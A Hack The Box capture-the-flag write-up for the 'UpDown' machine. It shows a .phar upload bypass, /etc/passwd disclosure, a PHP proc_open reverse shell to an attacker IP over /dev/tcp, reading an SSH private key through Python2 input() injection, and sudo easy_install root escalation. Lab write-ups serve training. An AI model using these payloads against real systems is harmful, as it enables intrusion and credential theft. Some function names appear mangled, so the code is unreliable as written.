UpDown - HTB - Key Points
October 25, 2022•598 words
Target's IP: 10.10.11.177
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Connecting to the website leaks a domain name, siteisup.htb
Recursive brute forcing of directories reveals the following two ones:
/dev
/dev.git
Downloading the .git is easy thanks to directory indexing, just run
wget -r http://siteisup.htb/dev/.git
Analyzing the git repo, there is an interesting commit we must checkout:
commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date: Wed Oct 20 16:38:54 2021 +0200
New technique in header to protect our dev vhost.
diff --git a/.htaccess b/.htaccess
deleted file mode 100644
index b317ab5..0000000
--- a/.htaccess
+++ /dev/null
@@ -1,5 +0,0 @@
-SetEnvIfNoCase Special-Dev "only4dev" Required-Header
-Order Deny,Allow
-Deny from All
-Allow from env=Required-Header
Using the Special-Dev: only4dev header we can access the restricted area.
Checking out the rest of the code, the file upload has a blacklist of extensions that cannot be uploaded. However, the list lacks the .phar extension, meaning we can upload a valid php file and run its contents exploiting the directory listing available on the uploads directory.
The code also shows that the file will be deleted once its purpose is completed. We can append a long list of IPs to the file so that by the time the website is done checking them we will already have achieved a stable RCE situation.
For example, my file was:
<?php
echo filegetcontents("/etc/passwd");?>
http://10.10.10.10
http://10.10.10.10
http://10.10.10.10
http://10.10.10.10
http://10.10.10.10
http://10.10.10.10
http://10.10.10.10
http://10.10.10.10
which successfully allows to read the /etc/passwd file:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
developer:x:1002:1002::/home/developer:/bin/bash
Reading phpinfo, we cannot run most functions that lead to code execution, except for procopen. My code to achieve RCE was the following:
<?php
$descr = array(
0 => array(
'pipe',
'r'
) ,
1 => array(
'pipe',
'w'
) ,
2 => array(
'pipe',
'w'
)
);
$pxpes = array();
$process = procopen("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.36/8888 0>&1'", $descr, $pxpes);
echo (fgets($pxpes[1]));
?>
We can run a python2 script as developer.
Python2 input() function suffers from a vulnerability that allows for RCE using builtin modules, for example
import('os').system('ls')
import('os').system('cat /home/developer/.ssh/idrsa')
The user developer can run easyinstall as sudo. As per gtfobins
developer@updown:~$ TF=$(mktemp -d)This gives us a root shell, so the box is done.
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easyinstall $TF
Merry hacking ;)